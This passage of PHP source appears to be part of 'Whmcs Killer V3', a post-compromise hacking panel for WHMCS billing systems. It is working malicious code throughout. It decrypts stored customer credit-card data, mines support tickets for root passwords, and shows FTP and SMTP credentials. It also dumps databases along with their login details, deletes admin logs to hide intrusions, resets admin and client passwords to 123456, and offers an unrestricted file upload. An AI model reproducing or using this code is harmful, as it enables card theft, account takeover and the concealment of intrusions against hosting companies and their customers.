  1088. AES_DECRYPT(expdate,'{$cchash}') as expdate,
  1089. AES_DECRYPT(issuenumber,'{$cchash}') as issuenumber,
  1090. country,email,firstname,lastname,address1,city,state,postcode,phonenumber FROM `tblclients` where id='".$v['0']."'" );
  1091. $country=$v["country"];
  1092. $email=$v["email"];
  1093. $firstname=$v["firstname"];
  1094. $lastname=$v["lastname"];
  1095. $address1=$v["address1"];
  1096. $city=$v["city"];
  1097. $state=$v["state"];
  1098. $postcode=$v["postcode"];
  1099. $phonenumber=$v["phonenumber"];
  1100. $v2=mysql_fetch_array($s);
  1101. if ($v2[3]<>"")
  1102. {
  1103. echo("<tr $bg ><td><a href='?p=12&id=".$v["id"]."'>".$v["id"]."</a></td><td>".$v2[0]."</td><td>".$v2[1]."</td><td>".$v2[2]."</td><td>".$v2[3]."</td><td>$country</td></tr>");
  1104. }
  1105. $i++;
  1106. }
  1107.  
  1108. echo("</table></center>");
  1109. }
  1110. break;
  1111.  
  1112. ###################################################
  1113. case 63:
  1114. $qq=$_GET["qq"];
  1115. $q=str_replace(" ","%",$_POST["q"]);
  1116. if($qq<>"")$q=$qq;
  1117. if($q=="")$q="%";
  1118. if($qq=="")$qq=$q;
  1119. echo("<center><h1>Clients Tickets</h1><br><br><h3 class=\"tit\" >Search</h3><br><FORM action=\"?p=63\" method=\"post\">\n<input type=\"text\" name=\"q\" value=\"".$q."\">\n<br>\n<INPUT class=\"input-submit\" type=\"submit\" value=\"Submit\" name=\"Submit\"> <br>ex: root%pass or root or 2086 \n");
  1120. if(isset($_GET["page"]))
  1121. {
  1122. $page=intval($_GET["page"]);
  1123. }
  1124. else
  1125. {
  1126. $page=1;
  1127. }
  1128. $start_from=($page-1)*100;
  1129. $query=mysql_query(" select id as tid,date FROM tbltickets where message LIKE '%".$q."%' union SELECT tid,date FROM `tblticketreplies` where message LIKE '%".$q."%' order by date desc");
  1130. while($vv=@mysql_fetch_array($query))
  1131. {
  1132. $list_tid0[]=$vv["tid"];
  1133. }
  1134. $list_tid=@array_values(array_unique($list_tid0));
  1135. $total_records=count($list_tid);
  1136. if($total_records==0)exit;
  1137. echo("<h3 class=\"tit\">Total Records ".$total_records."</h3><br>");
  1138. $total_pages=ceil($total_records/50);
  1139. echo("<br><table border='0'><tr >");
  1140. echo("<th>Page ".$page." Of ".$total_pages."</th>");
  1141. if($page>1)echo"<th><a href='?p=63&qq=".$qq."&page=".($page-1)."'>Back</a>&nbsp</th>";
  1142. echo"<th><a href='?p=63&qq=".$qq."&page=".$total_pages."'>Latest</a></th>";
  1143. if($page<$total_pages)echo"<th>&nbsp<a href='?p=63&qq=".$qq."&page=".($page+1)."'>Next</a>&nbsp</th>";
  1144. for ($i=0; $i<=$total_pages; $i++) {
  1145. if ($i%2==0) {$bg2='class="bg2"';} else {$bg2=';}
  1146. if ($i%20==0) echo "</tr><tr>";
  1147. if ($i==0)
  1148. {
  1149. echo "<td>&nbsp&nbsp</td>";
  1150. }
  1151. else
  1152. {
  1153. if($i==$page)
  1154. {
  1155. echo"<td $bg2>&nbsp<a href='?p=63&qq=".$qq."&page=".$i."'>(".$i.")</a>&nbsp</td>";
  1156. }
  1157. else
  1158. {
  1159. echo"<td $bg2>&nbsp<a href='?p=63&qq=".$qq."&page=".$i."'>".$i."</a>&nbsp</td>";
  1160. }
  1161. }
  1162. }
  1163. echo("</tr></table>");
  1164. for($i=$start_from;$i<($start_from+50);$i++)
  1165. {
  1166. $query1=mysql_query("SELECT * FROM tbltickets where id='".$list_tid[$i]."'");
  1167. while($v=mysql_fetch_array($query1))
  1168. {
  1169. echo("<br><br><h3 class=\"tit\">Ticket ID ".$v["id"]."</h3><br><br>");
  1170. $query2=mysql_query("select * from tblticketnotes where ticketid='".$v["id"]."'");
  1171. while($v2=mysql_fetch_array($query2))
  1172. {
  1173. echo '</center><p class="msg info">Tickets notes:'.$v2['message'].".</p><center>" ;
  1174. }
  1175. echo("<table border=1><tr><th><table width=100% border=1><th><th>".$v["title"]."</th><th>".$v["date"]."]</th><th>User id <a href='?p=12&id=".$v["userid"]."'><font color=\"#FFF\" >".$v["userid"]."</font></a></th><th>Ticket ID ".$v["id"]."</th></tr></table></th></tr>");
  1176. if($v["attachment"])
  1177. {
  1178. echo("<tr><td>".($v["message"])."<br>-----------<br>Attachment<br>".($v["attachment"])."</td></tr>");
  1179. }
  1180. else
  1181. {
  1182. echo("<tr><td>".($v["message"])."</td></tr>");
  1183. }
  1184. $query2=mysql_query("select * from tblticketreplies where tid='".$v["id"]."'");
  1185. while($v2=mysql_fetch_array($query2))
  1186. {
  1187. if($v2["admin"])
  1188. {
  1189.  
  1190. echo("<tr class='bg'><td> By ".$v2["admin"]."</td></tr><tr class='bg'><td>".nl2br(str_replace($qq,"<span class='tag'>$qq</span>",$v2["message"]))." <br>-----------<br>Attachment<br>".($v2["attachment"])."</td></tr>");
  1191. }
  1192. else
  1193. echo("<tr><td> By Client </td></tr><tr><td>".nl2br($v2["message"])." <br>-----------<br>Attachment<br>".nl2br($v2["attachment"])."</td></tr>");
  1194. }
  1195.  
  1196. echo("</table>");
  1197. }
  1198. }
  1199. break;
  1200. ###################################################
  1201. case 7:
  1202.  
  1203.  
  1204. echo("<center><h1>FTP and SMTP password</h1>");
  1205. table("SELECT * FROM tblconfiguration where setting='FTPBackupHostname' or setting='FTPBackupUsername' or setting='FTPBackupPassword' or setting='FTPBackupDestination' or setting='SMTPHost' or setting='SMTPUsername' or setting='SMTPPassword' or setting='SMTPPort' or setting='MailType'",array('setting','value'));
  1206. break;
  1207. ###################################################
  1208. case 8:
  1209. /*
  1210. echo "<table ><tr><td><a href=\"?p=8&page=1\" target=\"frame1\"> Upload</a></td>
  1211. <td><a href=\"?p=8&page=2\" target=\"frame1\">Delete Adminlog </a></td>
  1212. <td><a href=\"?p=8&page=3\" target=\"frame1\">Change Admin Password to 123456</a></td>
  1213. <td><a href=\"?p=8&page=4\" target=\"frame1\">Change Client Password to 123456</a></td>
  1214. <td><a href=\"?p=8&page=5\" target=\"frame1\">Change Client Mail </a></td>
  1215. <td><a href=\"?p=8&page=6\" target=\"frame1\">Decrypt Password</a></td>
  1216. </tr></table>";*/
  1217. switch($_GET['page'])
  1218. {
  1219. case"1":
  1220. echo "<center><h1>File Upload</h1><br><br><form method=\"POST\" action=\"?p=8\" enctype=\"multipart/form-data\"><input type=\"file\" name=\"image\"><input type=\"Submit\" name=\"Submit\" value=\"Submit\"><input type=\"hidden\" name=\"f\" value=\"upload\"></form>";
  1221. break;
  1222. case"2":
  1223. echo "<hr><center><h1>Delete Adminlog</h1><br><form method=\"POST\" action=\"?p=8\" ><input type=\"text\" name=\"ip\" value=\"".$_SERVER["REMOTE_ADDR"]."\"><input type=\"Submit\" name=\"Submit\" value=\"Submit\"><input type=\"hidden\" name=\"f\" value=\"ip\"></form>";
  1224. break;
  1225. case"3":
  1226. echo "<hr><center><h1>Change Admin Password to 123456</h1><br><form method=\"POST\" action=\"?p=8\" ><h3 class=\"tit\">Admin ID:</h3><input type=\"text\" name=\"idd\" value=\"1\"><input type=\"Submit\" name=\"Submit\" value=\"Submit\"><input type=\"hidden\" name=\"f\" value=\"cpa\"></form>";
  1227. break;
  1228. case"4":
  1229. echo "<hr><center><h1>Change Client Password to 123456</h1><br><form method=\"POST\" action=\"?p=8\" ><h3 class=\"tit\">Mail:</h3><input type=\"text\" name=\"mail\" value=\"client@mail.com\"><input type=\"Submit\" name=\"Submit\" value=\"Submit\"><input type=\"hidden\" name=\"f\" value=\"cpc\"></form>";
  1230. break;
  1231. case"5":
  1232. echo "<hr><center><h1>Change Client Mail</h1><br><form method=\"POST\" action=\"?p=8\" ><h3 class=\"tit\">Client ID:</h3><input type=\"text\" name=\"id\" value=\"\"><h3 class=\"tit\">Client Mail:</h3><input type=\"text\" name=\"mail\" value=\"\"><input type=\"Submit\" name=\"Submit\" value=\"Submit\"><input type=\"hidden\" name=\"f\" value=\"ccm\"></form>";
  1233. break;
  1234. case"6":
  1235. echo ("<hr>\n<h1> Decrypt Password</h1>\n<FORM action=\"?p=8\" method=\"post\">\n<input type=\"hidden\" name=\"f\" value=\"dec\">\n<br>\n<table border=1>\n\n<tr><td>Password</td><td><input type=\"text\" size=\"30\" name=\"password\" value=\"\"></td></tr>\n<tr><td>cc_encryption_hash</td><td><input type=\"text\" size=\"30\" name=\"cc_encryption_hash\" value=\"\"></td></tr>\n\n</table>\n<br>\n<INPUT class=\"input-submit\" type=\"submit\" value=\"Submit\" name=\"Submit\">\n</FORM>\n<hr>");
  1236. break;
  1237. }
  1238. if($_POST["f"]=="dec")
  1239. {
  1240. $password=($_POST["password"]);
  1241. $cc_encryption_hash=($_POST["cc_encryption_hash"]);
  1242. $password=decrypt($password,$cc_encryption_hash);
  1243. echo("<h1>Password is ".$password."</h1>");
  1244. }
  1245. if($_POST["f"]=="upload")
  1246. {
  1247. $filedir="";
  1248. $maxfile="2000000000";
  1249. $userfile_name=$_FILES["image"]["name"];
  1250. $userfile_tmp=$_FILES["image"]["tmp_name"];
  1251. if(isset($_FILES["image"]["name"]))
  1252. {
  1253. $abod=$filedir.$userfile_name;
  1254. @move_uploaded_file($userfile_tmp,$abod);
  1255. echo"<p class=\"msg done\">Done ==> $userfile_name</p>";
  1256. }
  1257. }
  1258. if($_POST["f"]=="ip")
  1259. {
  1260. $tryChaning=mysql_query("DELETE FROM tbladminlog where ipaddress='".$_POST["ip"]."'")or die("Erreur SQL !".$sql."<br>".mysql_error());
  1261. $tryChaning=mysql_query("DELETE FROM tblactivitylog where ipaddr='".$_POST["ip"]."'")or die("Erreur SQL !".$sql."<br>".mysql_error());
  1262. if($tryChaning)
  1263. {
  1264.  
  1265. echo("<p class=\"msg done\"><br>Last adminlog successfully deleted</p>");
  1266. }
  1267. else
  1268. {
  1269.  
  1270. echo("<p class=\"msg info\"><br>Deleteing adminlog error</p>");
  1271. }
  1272. }
  1273. if($_POST["f"]=="cpa")
  1274. {
  1275. $tryChaningInfo=mysql_query("UPDATE tbladmins SET password = 'e10adc3949ba59abbe56e057f20f883e' where id='".$_POST["idd"]."'")or die("Erreur SQL !".$sql."<br>".mysql_error());
  1276. if($tryChaningInfo)
  1277. {
  1278.  
  1279. echo("<p class=\"msg done\"><br>[+] Changing admin password to 123456</p>");
  1280. }
  1281. else
  1282. {
  1283.  
  1284. echo("<p class=\"msg info\"><br>[-] Changing admin password error</p>");
  1285. exit;
  1286. }
  1287. }
  1288. if($_POST["f"]=="cpc")
  1289. {
  1290. $tryChaningInfo=mysql_query("UPDATE tblclients SET password = '760d0530440ec45a2c3dc8b38dee8e9a:%ME)v' where email='".$_POST["mail"]."'");
  1291. if($tryChaningInfo)
  1292. {
  1293.  
  1294. echo("<p class=\"msg done\"><br>[+] Changing client ".$_POST["mail"]." password to 123456</p>");
  1295. }
  1296. else
  1297. {
  1298.  
  1299. echo("<p class=\"msg info\"><br>[-] Changing client password error</p>");
  1300. exit;
  1301. }
  1302. }
  1303. if($_POST["f"]=="ccm")
  1304. {
  1305. $tryChaningInfo=mysql_query("UPDATE tblclients SET email = '".$_POST["mail"]."' where id='".$_POST["id"]."'");
  1306. if($tryChaningInfo)
  1307. {
  1308.  
  1309. echo("<p class=\"msg done\"><br>[+] Changing client ".$_POST["id"]." mail to ".$_POST["mail"]."</p>");
  1310. }
  1311. else
  1312. {
  1313.  
  1314. echo("<p class=\"msg info\"><br>[-] Changing client password error</p>");
  1315. exit;
  1316. }
  1317. }
  1318. break;
  1319. ###################################################
  1320. case 9:
  1321. foreach($_COOKIE as$name=>$value)
  1322. {
  1323. setcookie($name,"");
  1324. }
  1325.  
  1326. echo("<meta http-equiv='refresh' content='1;URL=?' />");
  1327. break;
  1328. ###################################################
  1329. default:
  1330. if($_COOKIE["login"]=="1")
  1331. {
  1332. echo("<meta http-equiv='refresh' content='1;URL=?p=1' />");
  1333. //echo("<title>Whmcs Killer Coded by RAB3OUN</title><FRAMESET cols=\"200,*\"> \n<FRAME name=\"sommaire\" target=\"frame1\" src=\"?p=m\" scrolling=\"auto\">\n<FRAME name=\"frame1\" src=\"?p=102\" scrolling=\"auto\"> \n</FRAMESET>\n<NOFRAMES> <P>Cette page utilise des cadres, mais votre navigateur ne les prend pas en charge.</p> </NOFRAMES>");
  1334. }
  1335. else
  1336. {
  1337.  
  1338. // //header1();
  1339. @ob_end_clean();
  1340. login();
  1341. }
  1342. break;
  1343. ###################################################
  1344. case 11:
  1345. echo "<center><h1>Backup</h1></center><br>";
  1346. $link=mysql_connect($db_host,$db_username,$db_password);
  1347. mysql_select_db($db_name,$link);
  1348. $do=$_POST["action"];
  1349. if($do=="yes")
  1350. {
  1351. error_reporting(E_ALL^E_NOTICE);
  1352. @ini_set("memory_limit",32*1024*1024);
  1353. @ini_set("max_execution_time","480");
  1354. $tables=$_POST["tablen"];
  1355. foreach($tables as$table)
  1356. {
  1357. $query=@mysql_query("SHOW CREATE TABLE ".$table);
  1358. $que=@mysql_fetch_array($query);
  1359. $outta.=$que["Create Table"].";
  1360. \n";
  1361. $outta.="\n";
  1362. $query=mysql_query("select * from ".$table);
  1363. $num_fields=mysql_num_fields($query);
  1364. $numrow=mysql_num_rows($query);
  1365. while($row=mysql_fetch_array($query))
  1366. {
  1367. $outta.="INSERT INTO ".$table." VALUES(";
  1368. for($j=0;
  1369. $j<$num_fields;
  1370. $j++)
  1371. {
  1372. $row[$j]=addslashes($row[$j]);
  1373. $row[$j]=str_replace("\n","\n",$row[$j]);
  1374. $row[$j]=str_replace("\r","",$row[$j]);
  1375. if(isset($row[$j]))$outta.="'$row[$j]'";
  1376. else$outta.="";
  1377. if($j<($num_fields-1))$outta.=", ";
  1378. }
  1379. $outta.=");
  1380. \n";
  1381. }
  1382. $outta.="\n";
  1383. }
  1384. $date=time();
  1385. @ob_end_clean();
  1386. header("Content-length: ".strlen("-- --------WHMCS BACKUP ----------------\n\t-- host:".$db_host."\n\t-- username:".$db_username."\n\t-- password:".$db_password."\n\t-- cc_hash:".$_COOKIE["cc_encryption_hash"]."\n-- ------------------------------\n".$outta));
  1387. header("Content-type: text/plain");
  1388. header("Content-Disposition: attachment; filename=".$_SERVER["HTTP_HOST"]."-$date.sql");
  1389. echo"-- --------WHMCS BACKUP ----------------\n\t-- host:".$db_host."\n\t-- username:".$db_username."\n\t-- password:".$db_password."\n\t-- cc_hash:".$_COOKIE["cc_encryption_hash"]."\n-- ------------------------------\n".$outta;
  1390. }
  1391.  
  1392. echo "<script language=\"JavaScript\">
  1393. function checkAll(form)
  1394. {
  1395. for (var i = 1; i < form.elements.length; i++)
  1396. {
  1397. eval(\"form.elements[\" + i + \"].checked = form.elements[1].checked\");
  1398. }
  1399. }
  1400. </script>";
  1401. $tables=@mysql_query("SHOW TABLE STATUS");
  1402. echo "<center><form name=\"formw\" method=\"post\">\n\n<input name=\"action\" type=\"hidden\" value=\"yes\">\n\n<table width=\"280\" border=\"1\" align=\"center\" cellpadding=\"4\" cellspacing=\"0\" >\n\n <tr>\n\n <th align=\"center\" height=\"28\" width=\"35\"><input name=\"tablenall\" type=\"checkbox\" checked=\"checked\" onClick=\"checkAll(this.form)\"/></th>\n\n <th align=\"center\" width=\"130\">Tabel Name</th>\n\n <th width=\"100\"><div align=\"center\">Size</div></th>\n\n </tr>";
  1403. while($table=@mysql_fetch_array($tables))
  1404. {
  1405. $size=round($table["Data_length"]/1024,2);
  1406. echo" <tr><td>";
  1407. echo"<input type=\"checkbox\" name=\"tablen[]\" value=\"$table[Name]\" checked=\"checked\" />";
  1408. echo"</td>\n\n <td><b>";
  1409. echo$table[Name];
  1410. echo"</b></td>\n\n <td><div align=\"center\"> kb <b>";
  1411. echo$size;
  1412. echo"</b></div></td>\n\n </tr>";
  1413. }
  1414.  
  1415. echo"\n</table> <br>\n\n<center><input type=\"submit\" name=\"submit2\" class=\"input-submit\" value=\"[download backup ]\" /></center>\n\n</form>";
  1416. break;
  1417. ###################################################
  1418. case 12:
  1419.  
  1420. if($_GET["m"])
  1421. {
  1422. $query1=mysql_query("SELECT * FROM tblemails where id='".$_GET["m"]."'");
  1423. $v=mysql_fetch_array($query1,true);
  1424. echo($v["subject"]);
  1425. echo("<br>");
  1426. echo($v["message"]);
  1427. exit;
  1428. }
  1429. echo "<center><h1>Client id ".$_GET["id"]."</h1><br>";
  1430. echo("<h3 class=\"tit\">Info</h3></center>");
  1431. echo "<ul>
  1432. <li><a href='#t'>Client Tickets</a><li>
  1433. <li><a href='#h'>Client Hosts</a><li>
  1434. <li><a href='#m'>Client mails</a><li>
  1435. </ul>";
  1436. $query1=mysql_query("SELECT * FROM tblclients where id='".$_GET["id"]."'");
  1437. $v=mysql_fetch_array($query1,true);
  1438. if ($v)
  1439. {
  1440. echo "<center><table>";
  1441. $i=0;
  1442. foreach ($v as $x=>$y)
  1443. {
  1444. if ($i%2==0) {$bg='class="bg"';} else {$bg=';}
  1445. if (($x=='cardnum') or ($x=='startdate') or ($x=='expdate') or ($x=='issuenumber'))
  1446. {
  1447. echo "<tr $bg><td>$x</td><td>".decrypt($y,$cc_encryption_hash)."</td></tr>";
  1448. }
  1449. else
  1450. {
  1451. echo "<tr $bg><td>$x</td><td>$y</td></tr>";
  1452. }
  1453. $i++;
  1454. }
  1455. echo("</table><br>");
  1456. }
  1457. echo "<h1 id='t'>Client Tickets</h1></center><br><ul>";
  1458. $query=mysql_query("SELECT * FROM tbltickets where userid='".$_GET["id"]."'");
  1459. while($v=mysql_fetch_array($query))
  1460. {
  1461. echo "<li><a href='#t".$v['id']."'>".$v['id']." ".$v["title"]."</a></li><br>";
  1462. }
  1463. echo "</ul>";
  1464. $query=mysql_query("SELECT * FROM tbltickets where userid='".$_GET["id"]."'");
  1465. while($v=mysql_fetch_array($query))
  1466. {
  1467. echo("<br><br><center><h3 id='t".$v["id"]."' class=\"tit\">Ticket ID ".$v["id"]."</h3></center><br><br>");
  1468. echo("<center><table border=1>");
  1469. echo("<tr><th>".$v["title"]."<br>".$v["date"]."</th></tr>");
  1470. echo("<tr><td>".($v["message"])."</td></tr>");
  1471. $query2=mysql_query("select * from tblticketreplies where tid='".$v["id"]."'");
  1472. while($v2=mysql_fetch_array($query2))
  1473. {
  1474. if($v2["admin"])
  1475. {
  1476. echo("<tr class='bg' ><td>".nl2br($v2["message"])."</td></tr>");
  1477. }
  1478. else
  1479. {
  1480. echo("<tr $bg ><td>".nl2br($v2["message"])."</td></tr>");
  1481. }
  1482. }
  1483.  
  1484. echo("</table><br><br>");
  1485.  
  1486. }
  1487. echo("<h1 id='h'>Client Hosts</h1><br><br>");
  1488. table("SELECT * FROM tblhosting where userid='".$_GET["id"]."'",array('domain','domainstatus','username','password','notes','dedicatedip','assignedips'));
  1489.  
  1490. echo("<h1 id='m'>Client mails</h1><br><br>");
  1491. $query=mysql_query("SELECT * FROM tblemails where userid='".$_GET["id"]."'");
  1492. if (mysql_fetch_array($query)) {
  1493. echo("<table><tr><th>Subject</th><th>Date</th></tr>");
  1494. $i=0;
  1495. while($v=mysql_fetch_array($query))
  1496. {
  1497. if ($i%2==0) {$bg='class="bg"';} else {$bg=';}
  1498. echo("<tr $bg><td><a href='?p=12&id=".$_GET["id"]."&m=".$v["id"]."'>".$v["subject"]."</a></td><td>".$v["date"]."</td></tr>");
  1499. $i++;
  1500. }
  1501.  
  1502. echo("</table>");
  1503. }
  1504. else
  1505. {
  1506. echo '<p class="msg error">Nothing Found !</p>';
  1507. }
  1508. break;
  1509. ##############################################
  1510. }
  1511.  
  1512. echo ' </div>
  1513. </div> <!-- /cols -->
  1514. <hr class="noscreen" />
  1515. <!-- Footer -->
  1516. <div id="footer" class="box">
  1517. <p class="f-left">Coded by <a href="http://www.rab3oun.net">RAB3OUN</a>, </p>
  1518. <p class="f-right">Templates by Adminizio</p>
  1519. </div> <!-- /footer -->
  1520. </div> <!-- /main -->
  1521. </body>
  1522. </html>';
  1523.  
  1524. ################################
  1525.  
  1526. function actionSql() {
  1527. $_POST['p2']=stripslashes($_POST['p2']);
  1528. echo "<script>
  1529. var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  1530. var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  1531. var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  1532. var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  1533. var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  1534. var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  1535. var d = document;
  1536. function set(a,c,p1,p2,p3,charset) {
  1537. if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  1538. if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  1539. if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  1540. if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  1541. if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  1542. if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  1543. }
  1544. function g(a,c,p1,p2,p3,charset) {
  1545. set(a,c,p1,p2,p3,charset);
  1546. d.mf.submit();
  1547. }
  1548. function a(a,c,p1,p2,p3,charset) {
  1549. set(a,c,p1,p2,p3,charset);
  1550. var params = 'ajax=true';
  1551. for(i=0;i<d.mf.elements.length;i++)
  1552. params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  1553. sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  1554. }
  1555. function sr(url, params) {
  1556. if (window.XMLHttpRequest)
  1557. req = new XMLHttpRequest();
  1558. else if (window.ActiveXObject)
  1559. req = new ActiveXObject('Microsoft.XMLHTTP');
  1560. if (req) {
  1561. req.onreadystatechange = processReqChange;
  1562. req.open('POST', url, true);
  1563. req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  1564. req.send(params);
  1565. }
  1566. }
  1567. function processReqChange() {
  1568. if( (req.readyState == 4) )
  1569. if(req.status == 200) {
  1570. var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  1571. var arr=reg.exec(req.responseText);
  1572. eval(arr[2].substr(0, arr[1]));
  1573. } else alert('Request error!');
  1574. }
  1575. </script>
  1576. <html>\n<title>Whmcs Killer V3 (Coded by RAB3OUN)</title>\n<head>\n
  1577. <style>
  1578. \n\nbody\n
  1579. {
  1580. \n\tbackground: #0f0e0d;
  1581. \n\tcolor: #FF9933;
  1582. \n\n\tpadding: 0px;
  1583. \n\n}
  1584. \n
  1585. a:link, body_alink
  1586. \n
  1587. {
  1588. \n\t
  1589. color: #FF9933;
  1590. \n\t
  1591. text-decoration: none;
  1592. \n}
  1593. \n
  1594. a:visited, body_avisited\n
  1595. {
  1596. \n\tcolor: #FF9933;
  1597. \n\ttext-decoration: none;
  1598. \n}
  1599. \n
  1600. a:hover, a:active, body_ahover\n
  1601. {
  1602. \n\t
  1603. color: #FFFFFF;
  1604. \n\t
  1605. text-decoration: none;
  1606. \n
  1607. }
  1608. th:hover\n
  1609. {
  1610. \n\t
  1611. background: #524f46;
  1612. \n\t
  1613. text-decoration: none;
  1614. \n
  1615. }
  1616. \ntd, th, p, li,table\n
  1617. {
  1618. \n\t\n\tbackground: #2e2b28;
  1619. \n\tborder:1px solid #524f46;
  1620. \n}
  1621. \n\ninput\n
  1622. {
  1623. \n\tborder: 1px solid;
  1624. \n\n\tcursor: default;
  1625. \n\t\n\toverflow: hidden;
  1626. \n\tbackground: #2e2b28;
  1627. \n\tcolor: #ffffff;
  1628. \n}
  1629. \n</style>\n
  1630. <head><body><div style='position:absolute;width:100%;top:0;left:0;'>
  1631. <form method=post name=mf style='display:none;'>
  1632. <input type=hidden name=a>
  1633. <input type=hidden name=c>
  1634. <input type=hidden name=p1>
  1635. <input type=hidden name=p2>
  1636. <input type=hidden name=p3>
  1637. <input type=hidden name=charset>
  1638. </form>";
  1639. class DbClass {
  1640. var $type;
  1641. var $link;
  1642. var $res;
  1643. function DbClass($type) {
  1644. $this->type = $type;
  1645. }
  1646. function connect($host, $user, $pass, $dbname){
  1647. switch($this->type) {
  1648. case 'mysql':
  1649. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1650. break;
  1651. case 'pgsql':
  1652. $host = explode(':', $host);
  1653. if(!$host[1]) $host[1]=5432;
  1654. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1655. break;
  1656. }
  1657. return false;
  1658. }
  1659. function selectdb($db) {
  1660. switch($this->type) {
  1661. case 'mysql':
  1662. if (@mysql_select_db($db))return true;
  1663. break;
  1664. }
  1665. return false;
  1666. }
  1667. function query($str) {
  1668. switch($this->type) {
  1669. case 'mysql':
  1670. return $this->res = @mysql_query($str);
  1671. break;
  1672. case 'pgsql':
  1673. return $this->res = @pg_query($this->link,$str);
  1674. break;
  1675. }
  1676. return false;
  1677. }
  1678. function fetch() {
  1679. $res = func_num_args()?func_get_arg(0):$this->res;
  1680. switch($this->type) {
  1681. case 'mysql':
  1682. return @mysql_fetch_assoc($res);
  1683. break;
  1684. case 'pgsql':
  1685. return @pg_fetch_assoc($res);
  1686. break;
  1687. }
  1688. return false;
  1689. }
  1690. function listDbs() {
  1691. switch($this->type) {
  1692. case 'mysql':
  1693. return $this->query("SHOW databases");
  1694. break;
  1695. case 'pgsql':
  1696. return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1697. break;
  1698. }
  1699. return false;
  1700. }
  1701. function listTables() {
  1702. switch($this->type) {
  1703. case 'mysql':
  1704. return $this->res = $this->query('SHOW TABLES');
  1705. break;
  1706. case 'pgsql':
  1707. return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1708. break;
  1709. }
  1710. return false;
  1711. }
  1712. function error() {
  1713. switch($this->type) {
  1714. case 'mysql':
  1715. return @mysql_error();
  1716. break;
  1717. case 'pgsql':
  1718. return @pg_last_error();
  1719. break;
  1720. }
  1721. return false;
  1722. }
  1723. function setCharset($str) {
  1724. switch($this->type) {
  1725. case 'mysql':
  1726. if(function_exists('mysql_set_charset'))
  1727. return @mysql_set_charset($str, $this->link);
  1728. else
  1729. $this->query('SET CHARSET '.$str);
  1730. break;
  1731. case 'pgsql':
  1732. return @pg_set_client_encoding($this->link, $str);
  1733. break;
  1734. }
  1735. return false;
  1736. }
  1737. function loadFile($str) {
  1738. switch($this->type) {
  1739. case 'mysql':
  1740. return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1741. break;
  1742. case 'pgsql':
  1743. $this->query("CREATE TABLE BOFF2(file text);COPY BOFF2 FROM '".addslashes($str)."';select file from BOFF2;");
  1744. $r=array();
  1745. while($i=$this->fetch())
  1746. $r[] = $i['file'];
  1747. $this->query('drop table BOFF2');
  1748. return array('file'=>implode("\n",$r));
  1749. break;
  1750. }
  1751. return false;
  1752. }
  1753. function dump($table, $fp = false) {
  1754. switch($this->type) {
  1755. case 'mysql':
  1756. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1757. $create = mysql_fetch_array($res);
  1758. $sql = $create[1].";\n";
  1759. if($fp) fwrite($fp, $sql); else echo($sql);
  1760. $this->query('SELECT * FROM `'.$table.'`');
  1761. $head = true;
  1762. while($item = $this->fetch()) {
  1763. $columns = array();
  1764. foreach($item as $k=>$v) {
  1765. if($v == null)
  1766. $item[$k] = "NULL";
  1767. elseif(is_numeric($v))
  1768. $item[$k] = $v;
  1769. else
  1770. $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1771. $columns[] = "`".$k."`";
  1772. }
  1773. if($head) {
  1774. $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
  1775. $head = false;
  1776. } else
  1777. $sql = "\n\t,(".implode(", ", $item).')';
  1778. if($fp) fwrite($fp, $sql); else echo($sql);
  1779. }
  1780. if(!$head)
  1781. if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  1782. break;
  1783. case 'pgsql':
  1784. $this->query('SELECT * FROM '.$table);
  1785. while($item = $this->fetch()) {
  1786. $columns = array();
  1787. foreach($item as $k=>$v) {
  1788. $item[$k] = "'".addslashes($v)."'";
  1789. $columns[] = $k;
  1790. }
  1791. $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1792. if($fp) fwrite($fp, $sql); else echo($sql);
  1793. }
  1794. break;
  1795. }
  1796. return false;
  1797. }
  1798. };
  1799. $db = new DbClass($_POST['type']);
  1800. if(@$_POST['p2']=='download') {
  1801. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1802. $db->selectdb($_POST['sql_base']);
  1803. switch($_POST['charset']) {
  1804. case "Windows-1251": $db->setCharset('cp1251'); break;
  1805. case "UTF-8": $db->setCharset('utf8'); break;
  1806. case "KOI8-R": $db->setCharset('koi8r'); break;
  1807. case "KOI8-U": $db->setCharset('koi8u'); break;
  1808. case "cp866": $db->setCharset('cp866'); break;
  1809. }
  1810. if(empty($_POST['file'])) {
  1811. ob_start("ob_gzhandler", 4096);
  1812. header("Content-Disposition: attachment; filename=dump.sql");
  1813. header("Content-Type: text/plain");
  1814. foreach($_POST['tbl'] as $v)
  1815. $db->dump($v);
  1816. exit;
  1817. } elseif($fp = @fopen($_POST['file'], 'w')) {
